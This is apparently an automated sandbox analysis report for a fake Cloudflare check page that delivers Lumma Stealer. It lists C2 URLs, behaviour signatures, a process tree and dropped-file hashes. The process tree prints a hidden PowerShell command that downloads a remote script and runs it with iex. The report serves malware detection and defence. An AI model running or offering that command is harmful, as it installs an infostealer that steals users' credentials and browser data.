Analysis

  • max time kernel
    112s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/11/2024, 13:09

General

  • Target

    https://check-in-cf.b-cdn.net/verify/cf-check.html

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://tipicopisco.com/go/bebek.txt

Extracted

Family

lumma

C2

https://appr0dress.cyou/api

https://processhol.sbs/api

https://p10tgrace.sbs/api

https://peepburry828.sbs/api

https://3xp3cts1aim.sbs/api

https://p3ar11fter.sbs/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://check-in-cf.b-cdn.net/verify/cf-check.html
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8231146f8,0x7ff823114708,0x7ff823114718
      2⤵
        PID:812
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
        2⤵
          PID:2520
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3592
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2868 /prefetch:8
          2⤵
            PID:1392
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
            2⤵
              PID:1632
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
              2⤵
                PID:1312
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
                2⤵
                  PID:456
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2740
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
                  2⤵
                    PID:2700
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
                    2⤵
                      PID:3552
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5604 /prefetch:1
                      2⤵
                        PID:368
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,4083972824139894424,12846241438311745780,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5640 /prefetch:1
                        2⤵
                          PID:4840
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:1216
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:3064
                          • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
                            "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR='https://tipicopisco.com/go/bebek.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t
                            1⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5768
                            • C:\Users\Admin\AppData\Roaming\Extra\bubs.exe
                              "C:\Users\Admin\AppData\Roaming\Extra\bubs.exe"
                              2⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:2572

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            dc058ebc0f8181946a312f0be99ed79c

                            SHA1

                            0c6f376ed8f2d4c275336048c7c9ef9edf18bff0

                            SHA256

                            378701e87dcff90aa092702bc299859d6ae8f7e313f773bf594f81df6f40bf6a

                            SHA512

                            36e0de64a554762b28045baebf9f71930c59d608f8d05c5faf8906d62eaf83f6d856ef1d1b38110e512fbb1a85d3e2310be11a7f679c6b5b3c62313cc7af52aa

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            a0486d6f8406d852dd805b66ff467692

                            SHA1

                            77ba1f63142e86b21c951b808f4bc5d8ed89b571

                            SHA256

                            c0745fd195f3a51b27e4d35a626378a62935dccebefb94db404166befd68b2be

                            SHA512

                            065a62032eb799fade5fe75f390e7ab3c9442d74cb8b520d846662d144433f39b9186b3ef3db3480cd1d1d655d8f0630855ed5d6e85cf157a40c38a19375ed8a

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                            Filesize

                            265B

                            MD5

                            52ab2b9deedc8cd773cc37226d0eeb24

                            SHA1

                            60a133ca18d14d8f237a4d446f4a378de7b599a3

                            SHA256

                            6f1eb18b7aa055efd41f8429131c6d83b0c2bd473a3eedf1d07dd6cdb82b48e1

                            SHA512

                            3217f16097e80db1c814a9a8bec5ee46b37f2bbc1a987832ee9d688577fafb9ba02d9d140b987a668b50e132eeabb4938e3034a719e20275bbfc1a3e7c1d6786

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            5KB

                            MD5

                            e55e83b77bdce40203b8e1000ccf26b5

                            SHA1

                            5c0df91b141102a42ffafe23b8be99f49fdd18a4

                            SHA256

                            6ed14200c8c3342901e42e4b7be03e6f91bdf09f75ef0345b6e0223cd8869e57

                            SHA512

                            a027438bf374323b8ee9d2ec9670c41aff7baeefc3f18f67f8db8e7efca6198ceeebbf2129239a621aee6efd906836f8fa87e4589181190c9e0a553748513902

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            6KB

                            MD5

                            b78fbb3f3ae694082529819cabc65566

                            SHA1

                            757207872db3cbd6db4846f4d723f48476cf9869

                            SHA256

                            587694a410d1f0675c1d0f1809d8754231e8a65c76beb6543e6bdd25afbd20c3

                            SHA512

                            180ddffed5edcbf427c3db1494ea28a382a8f85b665e71261cfe4e387063fc6a47e44884db8b2cec2be6dbbf3cae4df3f7126459c1beeb3d9fcf673016b4836f

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                            Filesize

                            16B

                            MD5

                            6752a1d65b201c13b62ea44016eb221f

                            SHA1

                            58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                            SHA256

                            0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                            SHA512

                            9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                            Filesize

                            10KB

                            MD5

                            f7a0312a1174ef86451863bed61e9037

                            SHA1

                            675798668b04bc6dca50cea62acf8981dcdba388

                            SHA256

                            6aedb1f1980f83517a13da8d13a2fd267a650eb554f9a32178078d341b9f5bfa

                            SHA512

                            e0c66f69a9c8ff78414d67ade0a0a6740f844bcf6a985297952876029dfca68bac74df50491ac6c5bb32128eb95a73c3a9677568e7a5083d2eac077226d5b437

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                            Filesize

                            10KB

                            MD5

                            4d9210600169fb8fdf7f43db507b9177

                            SHA1

                            1bb980ddfecd5d9a7423ce855ac79974f4351c9a

                            SHA256

                            17c897c79eeeb2243ee8dde41e877a7342db933c454a7574e5b430dd2dd448ff

                            SHA512

                            f63a3a2316a3b3d215cc4ec95d789f13977f0509f95e4ca5eee3d7c00d33db79c45cb412c8f8b0bf56715a14efc59c7c2fb93edcf162a873c97d538cf778a47c

                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fzhwcjxn.404.ps1

                            Filesize

                            60B

                            MD5

                            d17fe0a3f47be24a6453e9ef58c94641

                            SHA1

                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                            SHA256

                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                            SHA512

                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                          • C:\Users\Admin\AppData\Roaming\Extra\bubs.exe

                            Filesize

                            4.6MB

                            MD5

                            442d526a26805c47376d7b4f78374a4f

                            SHA1

                            3af8edc2316c6d602d027c1f0ffa1eb9d68b7047

                            SHA256

                            6eb422418aee67819a21db376f41ffaa9b351392ef7a22e939d997c5c33f8c3c

                            SHA512

                            1f15301d3c0969a513200b4fbac8fe70bee8bdda8e9c9b56fab647cbf59eef0d69fdb46fd2662de0fbea1d00338b988803d2d94d793da3e12b5b16cbb47e8054

                          • C:\Users\Admin\AppData\Roaming\Extra\cr.dll

                            Filesize

                            5.5MB

                            MD5

                            6c5456370ea9ea64c7fb6296284fd95a

                            SHA1

                            18341d3079e637b76406b475d8939a7c57f9809a

                            SHA256

                            7ffd784adf875b3bae9a43092cbbe58a1fd80c8f095b869f1087fc5ac8a56628

                            SHA512

                            d712b176f3c50b28afeb46f487e461852f7ae82a5b3987b550b18210cdcceaff00d45e07c12b359bcaa01a90102d37ef530457a3c8d38e981c2a0155bb885482

                          • memory/2572-122-0x00000000007F0000-0x0000000000C82000-memory.dmp

                            Filesize

                            4.6MB

                          • memory/2572-119-0x0000000000740000-0x000000000079B000-memory.dmp

                            Filesize

                            364KB

                          • memory/2572-120-0x0000000000740000-0x000000000079B000-memory.dmp

                            Filesize

                            364KB

                          • memory/2572-123-0x0000000074D60000-0x00000000752DE000-memory.dmp

                            Filesize

                            5.5MB

                          • memory/2572-138-0x0000000074D60000-0x00000000752DE000-memory.dmp

                            Filesize

                            5.5MB

                          • memory/5768-102-0x0000016ABBF10000-0x0000016ABBF22000-memory.dmp

                            Filesize

                            72KB

                          • memory/5768-101-0x0000016ABBCD0000-0x0000016ABBCDA000-memory.dmp

                            Filesize

                            40KB

                          • memory/5768-121-0x0000016AA2830000-0x0000016AA32F1000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5768-99-0x0000016ABC2C0000-0x0000016ABCA66000-memory.dmp

                            Filesize

                            7.6MB

                          • memory/5768-124-0x0000016AA2830000-0x0000016AA32F1000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5768-127-0x0000016AA2830000-0x0000016AA32F1000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5768-141-0x0000016AA2830000-0x0000016AA32F1000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5768-75-0x0000016ABB6A0000-0x0000016ABB6C2000-memory.dmp

                            Filesize

                            136KB